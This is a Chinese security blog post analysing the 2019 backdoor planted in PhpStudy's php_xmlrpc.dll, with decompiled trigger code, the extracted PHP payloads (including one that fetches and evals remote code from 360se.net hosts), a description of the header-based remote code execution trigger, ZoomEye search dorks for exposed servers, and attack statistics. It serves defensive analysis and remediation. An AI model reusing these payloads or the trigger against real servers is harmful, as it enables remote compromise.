PhpStudy 後門分析

酷酷的曉得哥發表於2019-09-29

作者:Hcamael@知道創宇404實驗室
時間:2019年9月26日

背景介紹

2019/09/20,一則杭州警方通報打擊涉網違法犯罪專項行動戰果的新聞出現在我的朋友圈,其中通報了警方發現PhpStudy軟體被種入後門後進行的偵查和逮捕了犯罪嫌疑人的事情。用PhpStudy的Web狗還挺多的,曾經我還是Web狗的時候也用過幾天,不過因為不習慣就卸了。還記得當初會用PhpStudy的原因是在網上自學一些Web方向的課程時,那些課程中就是使用PhpStudy。在拿到樣本後,我就對PhpStudy中的後門進行了一波逆向分析。

後門分析

最近關於講phpstudy的文章很多,不過我只得到一個資訊,後門在php_xmlrpc.dll檔案中,有關鍵詞:"eval(%s(%s))"。得知這個資訊後,就降低了前期的工作難度。可以直接對該dll檔案進行逆向分析。

我拿到的是2018 phpstudy的樣本:  MD5 (php_xmlrpc.dll) = c339482fd2b233fb0a555b629c0ea5d5

對字串進行搜尋,很容易的搜到了函式: sub_100031F0

經過對該函式逆向分析,發現該後門可以分為三種形式:

1.觸發固定payload:

v12 = strcmp(**v34, aCompressGzip);
      if ( !v12 )
      {
        v13 = &rce_cmd;
        v14 = (char *)&unk_1000D66C;
        v42 = &rce_cmd;
        v15 = &unk_1000D66C;
        while ( 1 )
        {
          if ( *v15 == '\'' )
          {
            v13[v12] = '\\';
            v42[v12 + 1] = *v14;
            v12 += 2;
            v15 += 2;
          }
          else
          {
            v13[v12++] = *v14;
            ++v15;
          }
          v14 += 4;
          if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
            break;
          v13 = v42;
        }
        spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);
        spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
        v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
        v17 = *(void **)(v16 + 296);
        *(_DWORD *)(v16 + 296) = &v32;
        v40 = v17;
        v18 = setjmp3((int)&v32, 0);
        v19 = v40;
        if ( v18 )
        {
          v20 = a3;
          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;
        }
        else
        {
          v20 = a3;
          zend_eval_string(v42, 0, &rce_cmd, a3);
        }
        result = 0;
        *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;
        return result;
      }

unk_1000D66Cunk_1000E5C4為zlib壓縮的payload,後門檢查請求頭,當滿足要求後,會獲取壓縮後的payload,然後執行 @eval(gzuncompress(payload)),把payload解壓後再執行,經過提取,該payload為:

@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = "";  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);   if( !$handle ){    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){  return "err"; }  }  fwrite($handle, $sendMsg."\n"); while(!feof($handle)){  stream_set_timeout($handle, 2);  $result .= fread($handle, 1024);  $info = stream_get_meta_data($handle);  if ($info['timed_out']) {    break;  }  }  fclose($handle);   return $result; }$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do { $n = false; foreach ($ds as $d){  $b = false;  foreach ($ps as $p){   $result = tcpGet($i,$d.".360se.net",$p);    if ($result != "err"){    $b =true;    break;   }  }  if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){  if (strpos($info[3],"/*Onemore*/") !== false){   $info[3] = str_replace("/*Onemore*/","",$info[3]);   $n=true;  }  @eval(base64_decode($info[3])); }}while($n);

2.觸發固定的payload2

if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 )
  {
    if ( strlen(byte_100127B8) == 0 )
      sub_10004480(byte_100127B8);
    if ( strlen(Dest) == 0 )
      sub_10004380(Dest);
    if ( strlen(byte_100127EC) == 0 )
      sub_100044E0(byte_100127EC);
    v8 = &rce_cmd;
    v9 = asc_1000D028;
    v41 = &rce_cmd;
    v10 = 0;
    v11 = asc_1000D028;
    while ( 1 )
    {
      if ( *(_DWORD *)v11 == '\'' )
      {
        v8[v10] = 92;
        v41[v10 + 1] = *v9;
        v10 += 2;
        v11 += 8;
      }
      else
      {
        v8[v10++] = *v9;
        v11 += 4;
      }
      v9 += 4;
      if ( (signed int)v9 >= (signed int)&unk_1000D66C )
        break;
      v8 = v41;
    }
    spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
    v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
    v23 = *(_DWORD *)(v22 + 296);
    *(_DWORD *)(v22 + 296) = &v31;
    v38 = v23;
    v24 = setjmp3((int)&v31, 0);
    v25 = v38;
    if ( v24 )
    {
      v26 = a3;
      *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38;
    }
    else
    {
      v26 = a3;
      zend_eval_string(v41, 0, &rce_cmd, a3);
    }
    *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25;
    if ( dword_1000D010 < 3600 )
      dword_1000D010 += 3600;
    ftime(&dword_10012AA0);
  }
  ftime(&dword_10012AB0);
  if ( dword_10012AA0 < 0 )
    ftime(&dword_10012AA0);

當請求頭裡面不含有 Accept-Encoding欄位,並且時間戳滿足一定條件後,會執行 asc_1000D028unk_1000D66C經過壓縮的payload,同第一種情況。

提取後解壓得到該payload:

@ini_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else {
 $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
 $out .= "Host: {$h}\r\n";
 $out .= "Accept-Encoding: compress,gzip\r\n";
 $out .= "Connection: Close\r\n\r\n";
 fwrite($fp, $out);
 fclose($fp);}

3.RCE遠端命令執行

if ( !strcmp(**v34, aGzipDeflate) )
    {
      if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
        && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )
      {
        v40 = base64_decode(**v37, strlen((const char *)**v37));
        if ( v40 )
        {
          v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
          v5 = *(_DWORD *)(v4 + 296);
          *(_DWORD *)(v4 + 296) = &v30;
          v35 = v5;
          v6 = setjmp3((int)&v30, 0);
          v7 = v35;
          if ( v6 )
            *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;
          else
            zend_eval_string(v40, 0, &rce_cmd, a3);
          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
        }
      }

當請求頭滿足一定條件後,會提取一個請求頭欄位,進行base64解碼,然後 zend_eval_string執行解碼後的exp。

研究了後門型別後,再來看看什麼情況下會進入該函式觸發該後門。查詢 sub_100031F0函式的引用資訊發現:

data:1000E5D4                 dd 0.data:1000E5D8                 dd 0.data:1000E5DC                 dd offset aXmlrpc       ; "xmlrpc".data:1000E5E0                 dd offset off_1000B4B0.data:1000E5E4                 dd offset sub_10001010.data:1000E5E8                 dd 0.data:1000E5EC                 dd offset sub_100031F0.data:1000E5F0                 dd offset sub_10003710.data:1000E5F4                 dd offset sub_10001160.data:1000E5F8                 dd offset a051          ; "0.51"

該函式存在於一個結構體中,該結構體為 _zend_module_entry結構體:

//zend_modules.hstruct _zend_module_entry {
    unsigned short size; //sizeof(zend_module_entry)
    unsigned int zend_api; //ZEND_MODULE_API_NO
    unsigned char zend_debug; //是否開啟debug
    unsigned char zts; //是否開啟執行緒安全
    const struct _zend_ini_entry *ini_entry;
    const struct _zend_module_dep *deps;
    const char *name; //副檔名稱,不能重複
    const struct _zend_function_entry *functions; //擴充套件提供的內部函式列表
    int (*module_startup_func)(INIT_FUNC_ARGS); //擴充套件初始化回撥函式,PHP_MINIT_FUNCTION或ZEND_MINIT_FUNCTION定義的函式
    int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); //擴充套件關閉時回撥函式
    int (*request_startup_func)(INIT_FUNC_ARGS); //請求開始前回撥函式
    int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); //請求結束時回撥函式
    void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); //php_info展示的擴充套件資訊處理函式
    const char *version; //版本
    ...
    unsigned char type;
    void *handle;
    int module_number; //擴充套件的唯一編號
    const char *build_id;};

sub_100031F0函式為 request_startup_func,該欄位表示在請求初始化階段回撥的函式。從這裡可以知道,只要php成功載入了存在後門的xmlrpc.dll,那麼任何只要構造對應的後門請求頭,那麼就能觸發後門。在Nginx伺服器的情況下就算請求一個不存在的路徑,也會觸發該後門。

由於該後門存在於php的ext擴充套件中,所以不管是nginx還是apache還是IIS介受影響。

修復方案也很簡單,把php的 php_xmlrpc.dll替換成無後門的版本,或者現在直接去官網下載,官網現在的版本經檢測都不存後門。

雖然又對後門的範圍進行了一波研究,發現後門只存在於 php-5.4.45php-5.2.17兩個版本中:

$ grep "@eval" ./* -r
Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches
Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches

隨後又在第三方網站上( )上下載了phpstudy2016,卻發現不存在後門:

phpStudy20161103.zip壓縮包md5:5bf5f785f027bf0c99cd02692cf7c322
phpStudy20161103.exe   md5碼:1a16183868b865d67ebed2fc12e88467

之後同事又發了我一份他2018年在官網下載的phpstudy2016,發現同樣存在後門,跟2018版的一樣,只有兩個版本的php存在後門:

MD5 (phpStudy20161103_backdoor.exe) = a63ab7adb020a76f34b053db310be2e9
$ grep "@eval" ./* -r
Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches
Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches

檢視發現第三方網站上是於2017-02-13更新的phpstudy2016。

ZoomEye資料

透過ZoomEye探測phpstudy可以使用以下dork:

  1. "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45" "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17" +"X-Powered-By" -> 89,483
  2. +"nginx/1.11.5" +"PHP/5.2.17" -> 597 總量共計有90,080個目標現在可能會受到PhpStudy後門的影響。

可能受影響的目標全球分佈概況:

可能受影響的目標全國分佈概況:

畢竟是國產軟體,受影響最多的國家還是中國,其次是美國。對美國受影響的目標進行簡單的探查發現基本都是屬於IDC機房的機器,猜測都是國人在購買的vps上搭建的PhpStudy。

知道創宇雲防禦資料

知道創宇404積極防禦團隊檢測到2019/09/24開始,網際網路上有人開始對PhpStudy後門中的RCE進行利用。

2019/09/24攻擊總數13320,攻擊IP數110,被攻擊網站數6570,以下是攻擊來源TOP 20:

攻擊來源 攻擊次數
*.164.246.149 2251
*.114.106.254 1829
*.172.65.173 1561
*.186.180.236 1476
*.114.101.79 1355
*.147.108.202 1167
*.140.181.28 726
*.12.203.223 476
*.12.73.12 427
*.12.183.161 297
*.75.78.226 162
*.12.184.173 143
*.190.132.114 130
*.86.46.71 126
*.174.70.149 92
*.167.156.78 91
*.97.179.164 87
*.95.235.26 83
*.140.181.120 80
*.114.105.176 76

2019/09/25攻擊總數45012,攻擊IP數187,被攻擊網站數10898,以下是攻擊來源TOP 20:

攻擊來源 攻擊次數
*.114.101.79 6337
*.241.157.69 5397
*.186.180.236 5173
*.186.174.48 4062
*.37.87.81 3505
*.232.241.237 2946
*.114.102.5 2476
*.162.20.54 2263
*.157.96.89 1502
*.40.8.29 1368
*.94.10.195 1325
*.186.41.2 1317
*.114.102.69 1317
*.114.106.254 734
*.114.100.144 413
*.114.107.73 384
*.91.170.36 326
*.100.96.67 185
*.83.189.86 165
*.21.136.203 149

攻擊源國家分佈:

國家 數量
中國 34
美國 1
韓國 1
德國 1

省份分佈:

省份 數量
雲南 7
北京 6
江蘇 6
廣東 4
香港 4
上海 2
浙江 2
重慶 1
湖北 1
四川 1

攻擊payload:

如需轉載,請註明來源

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2658732/,如需轉載,請註明出處,否則將追究法律責任。

相關文章